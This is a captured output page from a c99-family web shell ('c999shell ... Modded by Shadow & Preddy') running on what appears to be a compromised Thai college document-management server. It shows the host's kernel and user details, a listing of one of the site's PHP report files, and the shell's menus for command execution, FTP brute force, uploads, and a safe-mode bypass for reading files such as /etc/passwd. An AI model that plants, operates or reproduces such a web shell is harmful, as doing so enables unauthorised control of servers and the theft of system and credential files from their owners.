!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.78 GB of 127.8 GB (39.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     printRepDocPost.php (8.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once "template.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocuments.php";
include_once 
"funct.php";
include_once 
"../class/clsDepartment.php";
 include_once 
"../class/clsDocLineConfig.php";
 include_once 
"../class/clsDocLinePosition.php";
 include_once 
"../class/clsDocReceiveSend.php";
 include_once 
"../class/clsPerson.php";
 include_once 
"../class/clsannounceDocType.php";
 include_once 
"../link/keyThai.php";
 include_once 
"getPrefix.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDt = new doctype($oC);
$oDoc = new Documents($oC);    //
$oDoc2 = new Documents($oC);    //
$oDP = new Department($oC);
$oDP1 = new Department($oC);
$oDlc = new DocLineConfig($oC);
$oDlc1 = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlc4 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oPS = new person($oC);
$oAn=new announceDocType($oC);
$MaxDocGroup=$oDP->SearchMaxDocGroup();
?>
<html>
<head>
<script language="javascript" src="../source/calendarDateInput.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">รายงาน</a>
    </font>
    <img src="../picture/ico3.gif" width="10" border="0" align="absmiddle">รายงานหนังสือที่แจ้งขึ้นเว็บของวิทยาลัย</font>
    </legend>
        <form name="ff"  target="_blank">
        <table width="99%" align="center">
            <tr> 
              <td height="22"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>รายงานหนังสือที่แจ้งขึ้นเว็บของวิทยาลัยประเภท
              <?
                     $oAn
->SearchByKey($AnID);
                    
$oAn->GetRecord();
                    echo 
$oAn->AnName;
              
?>
               </strong></font></td>
              <td height="22" align="right"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>OIS...</strong></font></td>
            </tr>
            <tr> 
              <td width="93%" height="22"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong><? echo $GLOBALS["COLLEGENAME"]; ?> 
        
            <? if(th2a($yearDoc)== 0){
                          echo 
"วันที่แจ้งขึ้นเว็บตั้งแต่วันที่ "; list($day1,$month1,$year1) = split('/',$start); echo $day1."/".$month1."/"; echo $year1+543;                        
                        echo 
" ถึง "; list($day2,$month2,$year2) = split('/',$end); echo $day2."/".$month2."/"; echo $year2+543;                        
                    }else{
                        echo 
"วันที่แจ้งขึ้นเว็บประจำปี ".a2th($yearDoc);
                    }
            
?>
                </strong></font></td>
              <td width="7%" align="right"></td>
            </tr>
            <tr> 
              <td height="24" colspan="2"><hr></td>
            </tr>
            <tr align="center">
            <td align="center" colspan="2">
              <table width="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"  style="border-collapse:collapse">
              <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">
              <td width="6%" align="center"><strong>ที่</strong></td>
              <td width="27%" align="center"><strong>ที่หนังสือ เรื่อง</strong></td>
              <td width="10%" align="center"><strong>ว/ด/ป ที่<br>สั่งการ</strong></td>
              <td width="11%" align="center"><strong>ว/ด/ป ที่<br>กำหนดเสร็จ</strong></td>
              <td width="17%" align="center"><strong>ผู้รับผิดชอบหลัก</strong></td>
              <td width="10%" align="center"><strong>ว/ด/ป ที่<br>รับทราบ</strong></td>
              <td width="10%" align="center"><strong>ว/ด/ป ที่<br>ดำเนินการเสร็จ</strong></td>
              <td width="10%" align="center"><strong>หมายเหตุ</strong></td>
              </tr>
            <? 
                
if(th2a($yearDoc) == 0){
                        list(
$dd$mm$yy) = split('[/]',$start);
                        
$start=($yy+543)."-".$mm."-".$dd;
                        list(
$dd$mm$yy) = split('[/]',$end);
                        
$end=($yy+543)."-".$mm."-".$dd;
                }else{
                        
$yy th2a($yearDoc);
                        
$start $yy."-01-01";
                        
$end $yy."-12-31";
                }
                
                
$oDlc->SearchByKey($DLCID); $oDlc->GetRecord(); 
                
$oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                if(
$oDlp1->DlpPID!="0"){ 
                    
$DlcPS2=$DLCID;
                 }else{
                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                }

                if(
$GroupID=="110" || $GroupID=="111" || $GroupID=="112" || $GroupID=="115"){ //head
                        
$oDlp->SearchByKey($oDlc->DlpID);  $oDlp->GetRecord();
                                
$DlcSeq=$oDlc->DlcSeq;   
                                
$DlcSeq2=$oDlc->DlcSeq+1
                                
$oDlc3->SearchByNextDlcID($DlcSeq,$oDlc->docGroup,$oDlc->deptId); $oDlc3->GetRecord();   $DLCID2=$oDlc3->DlcID;
                                if(
$oDlp->DlpPID=="0"){ 
                                    
$oDlc4->SearchByNextDlcID($DlcSeq2,$oDlc->docGroup,$oDlc->deptId); $oDlc4->GetRecord();  $DlcPS22=$oDlc4->DlcID;
                                }else{
                                    
$DlcPS22=$DLCID2;
                                }
                                if(
$GroupID=="112"){
                                        
$oDoc->SearchByDrsSendDateDocTypeNoDocSubjectDocNoDeptIdfDeleteDlcIDDlcID2DocGroupDsID3DrsSendSeeAll2($start,$end,$DocTypeNoStart,$DocTypeNoEnd,$DocSubject,$DocNo,$deptId,$DLCID2,$MaxDocGroup,$DlcPS22);
                                }else{
                                        
$oDoc->SearchByDrsSendDateDocTypeNoDocSubjectDocNoDeptIdfDeleteDlcIDDlcID2DocGroupDsID3DrsSend2($start,$end,$DocTypeNoStart,$DocTypeNoEnd,$DocSubject,$DocNo,$deptId,$DLCID2,$MaxDocGroup,$DlcPS22);
                                }
                }else{
                    
$oDoc->SearchByDrsSendDateDocTypeNoDocSubjectDocNoDeptIdfDeleteDlcIDDlcID2DocGroupDsID32($start,$end,$DocTypeNoStart,$DocTypeNoEnd,$DocSubject,$DocNo,$deptId,$DLCID,$MaxDocGroup,$DlcPS2);
                }
                while(
$oDoc->GetRecord()){ 
                    
$nomainps='0';
                
$oDlc1->SearchByKey($oDoc->DlcIDRS); $oDlc1->GetRecord();
                
//echo "DlcID=".$oDoc->DlcID."&nbsp;Doc-deptId=".$oDlc1->deptId."&nbsp;deptId=".$deptId."<br>";
                
if($oDlc1->deptId==$deptId){ 
                    if((
$i%2) == 0
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_17"]."\">";
                                    
                                         
$oRs->SearchByDrsFromDrsIDDrsMainPs($oDoc->DrsID);
                                        if(
$oRs->GetRecord()==1){   
                                            
$oPS->SearchByKey($oRs->personId); $oPS->GetRecord(); 
                                            
$showname=GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName;
                                        }else{
                                            
$showname="<div align=\"center\">-</div>";
                                            
$nomainps=1;
                                        }
                                        
            
?>      
            <td width="6%" align="center"><? echo a2th($oDoc->DocTypeNo); ?></td>
            <td width="27%">&nbsp;&nbsp;<a href="#" onClick="printDetailFollowDocDept('<? echo $oDoc->DocID?>','<? echo $oDoc->DrsID?>')"><? echo $oDoc->DocNo?><? echo "<br>&nbsp;&nbsp;".$oDoc->DocSubject?></a></td>
            <td width="11%" align="center"><?    if($oDoc->DrsSendDate!="0000-00-00 00:00:00"){  list($DocD,$DocT) = split(' ',$oDoc->DrsSendDate); echo abbreDate2($DocD,'/')."<br>".a2th($DocT);} ?></td>
            <td width="11%" align="center"><? if($oDoc->DrsDocDueDate!="0000-00-00"){  echo  abbreDate2($oDoc->DrsDocDueDate,'/'); }else{ echo "-";  } ?></td>
            <td width="15%"><? echo $showname?></td>
            <td width="11%" align="center"><? if($nomainps==1){  echo "-"; }else{  if($oRs->DrsDocReceiveDate!="0000-00-00 00:00:00"){  list($DocD2,$DocT2) = split(' ',$oRs->DrsDocReceiveDate); echo abbreDate2($DocD2,'/')."<br>".a2th($DocT2);}}?></td>
            <td width="11%" align="center"><?  if($nomainps==1){  echo "-"; }else{ if($oRs->DocRefAnsDate!="0000-00-00 00:00:00"){  list($DocD2,$DocT2) = split(' ',$oRs->DocRefAnsDate); echo abbreDate2($DocD2,'/')."<br>".a2th($DocT2);}} ?></td>
            <td width="9%">&nbsp;</td></tr>
            <? $i++; }  }?>
            </table>
            </td></tr>
            <tr><td align="center" colspan="2"><input type="button" name="cancel" value="กลับหน้าหลัก" onClick="location.href = 'searchRepDocPost.php'"></td></tr>
            </table>
                 </form>
                 </fieldset> 
        </td>
        </tr>
</table>
</body>
</html>
<script>
function printDetailFollowDocDept(p,q){ 
        FileName = "printRepFollowDocDeptDetail.php?DocID="+p+"&DrsID="+q;
            var w=600;  
            var h=600;
            strOption = "scrollbars=yes,left=300,top=100,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);         
}
</script>     

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0145 ]--